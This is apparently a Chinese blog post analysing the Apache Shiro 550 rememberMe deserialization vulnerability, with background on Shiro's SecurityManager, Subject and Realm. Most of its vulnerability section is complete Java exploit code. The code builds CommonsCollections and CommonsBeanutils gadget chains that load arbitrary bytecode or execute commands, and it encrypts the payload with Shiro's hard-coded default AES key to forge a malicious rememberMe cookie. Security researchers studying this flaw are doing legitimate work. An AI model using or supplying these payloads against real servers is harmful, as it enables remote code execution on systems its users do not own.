shiro反序列化分析

基础知识

简单介绍

Apache Shiro 是一个 Java 安全框架,包括如下功能和特性:

Authentication:身份认证/登陆,验证用户是不是拥有相应的身份。在 Shiro 中,所有的操作都是基于当前正在执行的用户,这里称之为一个 Subject,在用户任意代码位置都可以轻易取到这个Subject。Shiro 支持数据源,称之为 Realms,可以利用其连接 LDAP\AD\JDBC 等安全数据源,并支持使用自定义的 Realms,并可以同时使用一个或多个 Realms 对一个用户进行认证,认证过程可以使用配置文件配置,无需修改代码。同时,Shiro 还支持 RememberMe,记住后下次访问就无需登录。

Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限。同样基于 Subject、支持多种 Realms。Shiro 支持 Wildcard Permissions ,也就是使用通配符来对权限验证进行建模,使权限配置简单易读。Shiro 支持基于 Roles 和基于 Permissions 两种方式的验证,可以根据需要进行使用。并且支持缓存产品的使用。

Session Manager:会话管理,用户登陆后就是一次会话,在没有退出之前,它的所有信息都在会话中。Shiro 中的一切(包括会话和会话管理的所有方面)都是基于接口的,并使用 POJO 实现,因此可以使用任何与 JavaBeans 兼容的配置格式(如 JSON、YAML、Spring XML 或类似机制)轻松配置所有会话组件。Session 支持缓存集群的方式;还支持事件侦听器,允许在会话的生命周期内侦听生命周期事件,以执行相关逻辑。Shiro Sessions 保留发起会话的主机的 IP 地址,因此可以根据用户位置来执行不同逻辑。Shiro 对 Web 支持实现了 HttpSession 类及相关全部 API。也可以在 SSO 中使用。

Cryptography:加密,保护数据的安全性;Shiro 专注于使用公私钥对数据进行加密,以及对密码等数据进行不可逆的哈希。
Permissions:用户权限;Shiro 将所有的操作都抽象为 Permission,并默认使用 Wildcard Permissions 来进行匹配。Shiro 支持实例级别的权限控制校验,例如domain:action:instance。

Caching:缓存,为了提高 Shiro 在业务中的性能表现。Shiro 的缓存支持基本上是一个封装的 API,由用户自行选择底层的缓存方式。缓存中有三个重要的接口 CacheManager/Cache/CacheManagerAware ,Shiro 提供了默认的 MemoryConstrainedCacheManager 等实现。

关键组件

SecurityManager

我们看名字就是安全管理的意思,它是shiro的一个核心接口,负责对subject(其实应该是user的,shiro为了避免重复,就取名为subject了)进行安全操作

  1. 接口本身定义了 createSubject、login、logout 三个方法用来创建 Subject、登陆和退出。
  2. 扩展了 org.apache.shiro.authc.Authenticator 接口,提供了 authenticate
    方法用来进行认证。
  3. 扩展了 org.apache.shiro.authz.Authorizer 接口,提供了对 Permission 和 Role
    的校验方法。包括 has/is/check 相关命名的方法。
  4. 扩展了 org.apache.shiro.session.mgt.SessionManager 接口,提供了
    start、getSession 方法用来创建可获取会话。

可以发现这个接口还继承了很多接口,所以它也实现了很多的功能在这里插入图片描述这里讲一讲最底层的DefaultSecurityManager
继承了上面各种老大哥的东西

它有许多属性

在这里插入图片描述在自身中有三个,因为还继承了,所以也有上面父类的属性,这里讲一讲这些属性

subjectFactory和subjectDAO

public DefaultSecurityManager() {
        super();
        this.subjectFactory = new DefaultSubjectFactory();
        this.subjectDAO = new DefaultSubjectDAO();
    }

可以看到我们的subjectFactory就是DefaultSubjectFactory类的一个实例化对象

在这里插入图片描述就两个方法,就是创建subject的
其他的我就不具体放代码了
subjectDAO:默认使用 DefaultSubjectDAO,用于将 Subject 中最近信息保存到 Session 里面。----(DAO,它是Data Access Object的缩写,数据访问对象。这是一个设计模式,用于将低级的数据访问逻辑或操作从高级的业务服务中分离出来。在Java中,数据访问对象模式是一个用于处理持久性存储的模式,如访问数据和存储数据的行为。)

rememberMeManager:用于提供 RememberMe 相关功能。

sessionManager:默认使用 DefaultSessionManager,Session 相关操作会委托给这个类。

authorizer:默认使用 ModularRealmAuthorizer,用来配置授权策略。

authenticator:默认使用 ModularRealmAuthenticator,用来配置认证策略。

realm:对认证和授权的配置,由用户自行配置,包括 CasRealm、JdbcRealm 等。

cacheManager:缓存管理,由用户自行配置,在认证和授权时先经过,用来提升认证授权速度。

这个类其实就是初始化默认配置这些属性

Subject

前面也说过,org.apache.shiro.subject.Subject 是一个接口,用来表示在 Shiro 中的一个用户。因为在太多组件中都使用了 User 的概念,所以 Shiro 故意避开了这个关键字,使用了 Subject。
在这里插入图片描述可以看到这个接口有许多方法,同样也是提供了认证(login/logout)、授权(访问控制 has/is/check 方法)以及获取会话的能力。在应用程序中如果想要获取一个当前的 Subject,通常使用 SecurityUtils.getSubject() 方法即可。
它和我们的 SecurityManager 提供了非常近似的方法

如果我们仔细分析,我们看到它的实现类DelegatingSubject,它有一个属性
在这里插入图片描述DelegatingSubject 中保存了一个 transient 修饰的 SecurityManager 成员变量,在使用具体的校验方法时,实际上委托 SecurityManager 进行处理,如下图:在这里插入图片描述DelegatingSubject 中不会保存和维持一个用户的“状态(角色/权限)”,恰恰相反,每次它都依赖于底层的实现组件 SecurityManager 进行检查和校验,因此通常会要求 SecurityManager 的实现类来提供一些缓存机制。所以本质上,Subject 也是一种“无状态”的实现。

Realm

其实我们把它叫做role(权力)就可以很好的理解了在这里插入图片描述可以看到它是属于一个底层了,我们看到实现就能更好理解它是干嘛的
在这里插入图片描述可以看到都是一些经典的api,org.apache.shiro.realm.Realm接口,通过Realm来访问指定应用的安全实体———用户、角色、权限等。

一个Realm通常与一个数据源有1对1的对应关系,此接口的实现类,将使用特定于数据源的 API 来进行认证或授权,如 JDBC、文件IO
在使用中,开发人员通常不会直接实现 Realm 接口,而是实现 Shiro 提供了一些相关功能的抽象类 AuthenticatingRealm/AuthorizingRealm,或者使用针对特定数据源提供的实现类如 JndiLdapRealm/JdbcRealm/PropertiesRealm/TextConfigurationRealm/IniRealm 等等

总结

通过对以上三个组件的了解,一次认证及授权的校验流程就形成了:

  1. 应用程序通过获取当前访问的 Subject(也就是用户),并调用其相应校验方法;
  2. Subject 将校验委托给 SecurityManager 进行判断;
  3. SecurityManager 会调用 Realm 来获取信息来判断用户对应的角色能否进行操作。

shiro安全框架在web中使用

配置文件

web.xml
Shiro 1.2及以后的版本:

<listener>
    <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
</listener>

<filter>
    <filter-name>ShiroFilter</filter-name>
    <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>ShiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

使用ShiroFilter类作为Filter过滤器,并设置EnvironmentLoaderListener作为Web应用程序的一个监听器

shiro.ini
主要包括[main][users][roles][urls] 四项配置。

如果配置了[uesrs][roles],则会自动创建org.apache.shiro.realm.text.IniRealm实例,并可以在 [main] 配置中进行调用及配置。

main:主要是配置应用程序SecurityManager实例以及其他依赖项的地方
比如

[main]
# 指定 Realm 的实现类
myRealm = com.mycompany.MyRealm
# 指定 SecurityManager 的实现类
securityManager = org.apache.shiro.mgt.DefaultSecurityManager
# 将 Realm 添加到 SecurityManager 中
securityManager.realms = $myRealm
#没有登录的用户,请求某个资源页面时,自动跳转到制定的/login.jsp页面。
shiro.loginUrl=/login.jsp
shiro.unauthorizedUrl=/index.jsp
登录成功的用户,访问了没有被授权的资源,自动跳转到制定的页面。

[users]
# 定义用户和他们的密码
username1 = password1
username2 = password2

[roles]
# 定义角色和他们的权限
admin = *
user = read, write

[urls]
#定义 URL 的访问权限
/admin/** = authc, roles[admin]
/user/** = authc, roles[user]
#定义拦截器
[urls]
/login.jsp = authc
/logout = logout
/** = user

Shiro默认提供了一些Filter,名称和对应处理类如下
在这里插入图片描述

配置具体实现

ShiroFilter过滤器分析

当你有如下设置后:
web.xml

<filter>
    <filter-name>ShiroFilter</filter-name>
    <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>ShiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

这就意味着,在启动Shiro Web应用时会,首先会调用一次它的init()方法,在访问某个路由时调用doFilter()方法
在这里插入图片描述我们可以看到选取WebEnvironment中的WebSecurityManager来作为Shiro上下文中的SecurityManager

随后会调用doFilter方法,由于本类没有实现,所以会去调用继承的doFilter方法
OncePerRequestFilter.doFilter
在这里插入图片描述正常情况下的逻辑会进入else语句"过滤器尚未执行,现在执行",这里会调用子类AbstractShiroFilter.doFilterInternal方法,具体逻辑
在这里插入图片描述根据具体的请求和响应,创建对应的Subject对象,在通过execute方法进行校验

这里会使用保存的SecurityManager(也就是WebSecurityManager)来创建 Subject 对象
在这里插入图片描述

shiro的漏洞

shiro550链子分析

序列化加密cookie

首先我先给出调用栈

DelegatingSubject.login()
->DelegatingSubject.login()
->DelegatingSubject.onSuccessfulLogin()
->DelegatingSubject.rememberMeSuccessfulLogin()
->AbstractRememberMeManager.javaonSuccessfulLogin()
->AbstractRememberMeManager.rememberIdentity()
->AbstractRememberMeManager.rememberIdentity()
  ->AbstractRememberMeManager.convertPrincipalsToBytes()
  ->AbstractRememberMeManager.encrypt() #加密登陆信息
->CookieRememberMeManager.javarememberSerializedIdentity() #设置cookie

我们直接从登录成功那里开始分析,也就是onSuccessfulLogin方法这里
在这里插入图片描述
首先是看我们是否开启了rememberme这个选项
如果开启了会调用rememberIdentity方法
在这里插入图片描述PrincipalCollection principals:这是一个PrincipalCollection对象,它是一个集合,存储了用户的主要信息。在Shiro框架中,这个对象通常用于存储用户的身份信息,例如用户名或用户ID。
这里会继续会调用它的一个重载方法
在这里插入图片描述
然后调用convertPrincipalsToBytes方法
在这里插入图片描述把我们的byte数据序列化
那我们的这个是什么,就是我们的cookie
然后调用encrypt加密操作
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/bce19281ba1a4965899ed114838b246d.png
进行了一次AES加密,这里也就是我们的问题所在,默认的 CipherKey 往上翻就能看到
在这里插入图片描述
然后就是返回加密后的数据回到rememberIdentity方法,继续调用
在这里插入图片描述
rememberSerilaizedIdentity方法
在这里插入图片描述
只是对我们的数据进行了base编码
保存到cookie中

反序列化解密cookie验证

我们shiro这时候就会验证cookie,进入getRememberedSerializedIdentity方法
在这里插入图片描述

就是把我们的内容base解码,然后现在按理说应该是aes解密了,我们寻找调用了getRememberedSerializedIdentity的地方

在org.apache.shiro.mgt.AbstractRememberMeManager类的的getRememberedPrincipals方法中调用了这个方法在这里插入图片描述其中这里的bytes就是经过base64解密后的Cookie值,随后会调用convertBytesToPrincipals方法
在这里插入图片描述进行一次AES解密,然后触发一次反序列化操作

总结

经过对上面的分析,我们已经知道我们一个攻击的思路了,那就是把我们的cookie传入恶意的序列化数据,然后一定要勾选rememberme,然后shiro就会反序列化我们的数据,造成反序列化攻击

poc编写存在的问题和解决

我们进行攻击,比如我们的cc6,只需要加上我们的aes加密即可

poc

package shiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void main(String[] args) throws Exception {

        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Map map = new HashMap();
        TiedMapEntry e = new TiedMapEntry(outerMap, "Nivia");
        map.put(e, "nivia");
        outerMap.remove("Nivia");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain,transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map);
        oos.close();


        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }
}

将运行结果作为rememberMe的Cookie发送,但是报错
在这里插入图片描述无法去反序列化我们的数组,我们定位到抛出这个错误信息的地方org.apache.shiro.io.DefaultSerializer类

在这里插入图片描述
这个反序列化和我们正常反序列化不同的地方在于ClassResolvingObjectInputStream类
ClassResolvingObjectInputStream类重写了resolveClass方法,这个方法用于加载与指定流类描述等效的本地类。也就是读取序列化流的时候,读取到一个字符串形式的类,然后通过这个方法找到对应的Class对象
在这里插入图片描述
如果加载失败会抛出ClassNotFoundException异常

在ClassUtils.forName方法中,clazz为null,会抛出UnknownClassException异常在这里插入图片描述
ClassResolvingObjectInputStream类的resolveClass方法中,利用了ClassUtils.forName方法来获取Class对象

其中的fqcn为[Lorg.apache.commons.collections.Transformer,这里的[L是JVM的标记,说明实际上是一个数组,即Transformer[]
重写后的resolveClass方法,采用的是ClassUtils.forName,而非Class.forName方法
所以我们不能使用数组

CC6+TemplatesIml

不能有数组,那就不能使用Transformer[]数组了,InvokerTransfomer.transform(key)但是如果我们只使用一次,那就不存在数组的问题了,我们这里通过字节码加载作为出口类,但是又要使用hashmap作为入口类,这里是
在这里插入图片描述
修改之后的pop

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_cc {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");
        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
//避免put就弹出计算器5

        TiedMapEntry tme = new TiedMapEntry(outerMap,obj);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove(obj);
        setFieldValue(outerMap,"factory",newTransformer);
//反射修改transformer中的iMethodName为newTransformer

            serialize(expMap);
            unserialize("szzz.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

CC6+instantiateTransformer

这个其实和上面的大同小异,只是避免使用InvokerTransformer,TrAXFilter.class类的transform方法可以调用对象的newtransfrom,但是没有序列化接口,而我们的InstantiateTransformer有接口,而且可以实例化一个对象

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_cc2 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");
//        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove(TrAXFilter.class);
        setFieldValue(outerMap,"factory",instantiateTransformer);
        serialize(expMap);
        unserialize("szzz.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

CommonsCollections5 改造

就是把lazymap触发的数组换成了字节码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC5_CC2_shiroexp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","aaa");
        byte[] code = Files.readAllBytes(Paths.get("evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);//将这里的key用了起来
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        Class c = badAttributeValueExpException.getClass();
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("CC5_CC2_shiroexp.bin");
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC5_CC2_shiroexp.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

原生Commons-Beanutils链攻击

如果没有cc依赖,我们应该怎么攻击呢?commons-beautils依赖是通过shiro-core自动导入的。
我们只需要修改一下cb链即可
找一个comparableComparator类替换即可

我们使用CaseInsensitiveComparator
但是这个类的元素必须是字符串类型
queue.add方法,这的add会到用offer方法,一直会调用到java.lang.String$CaseInsensitiveComparator.compare方法,这个方法接受的是两个字符串类型

package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;


public class CommonsBeanutilsShiro {
    public static void main(String[] args) throws Exception{
        TemplatesImpl impl = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode("恶意代码");

        setFieldValue(impl, "_name", "nivia");
        setFieldValue(impl, "_bytecodes", new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");

        Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = impl;
        queueArray[1] = 1;

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }

    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }
}

或者AttrCompare也可以

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.ReverseComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {
    public static void main(String[] args) throws Exception {
//TemplatesImpl动态加载字节码
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "wahaha");

        final BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(obj);
        priorityQueue.add(2);

        setFieldValue(priorityQueue,"comparator",comparator);
//        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

        serialize(priorityQueue);
        unserialize("serzsd.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}
  • 25
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Shiro反序列化检测是指对Shiro框架可能存在的反序列化漏洞进行检测和防护的一种安全措施。通过该方法,可以防止黑客利用Shiro框架的反序列化漏洞进行攻击。 ShiroJava领域中广泛使用的开源安全框架,用于认证、授权和会话管理等安全功能。然而,由于Java的序列化和反序列化机制的特性,可能导致应用程序在反序列化时存在安全风险。黑客可以通过构造恶意序列化数据,导致应用程序反序列化时执行恶意代码,从而实施攻击,比如远程代码执行、命令注入等。 为了防止这种安全风险,可以在Shiro框架中添加反序列化检测机制。这个机制可以对反序列化的数据进行检查,确保其合法性,并防止执行恶意代码。常见的防护方法包括: 1. 设置白名单:限制反序列化的类的类型和来源,只允许反序列化特定的类。 2. 安全配置:对Shiro框架及相关功能进行正确的安全配置,合理设置权限和角色。 3. 使用SafeXMLDecoder:SafeXMLDecoder是一个安全的XML反序列化工具,可以对输入数据进行验证和过滤,阻止恶意代码的执行。 此外,定期更新Shiro框架和依赖库,确保及时获取最新的安全补丁也是非常重要的。同时,开发人员也需要对Shiro框架和反序列化漏洞有一定的了解,及时关注相关安全动态,以便及时修复和更新。 总之,Shiro反序列化检测是一项重要的安全措施,可以有效预防黑客利用反序列化漏洞对Shiro框架进行攻击。通过合理的安全配置和验证机制,可以提高应用程序的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值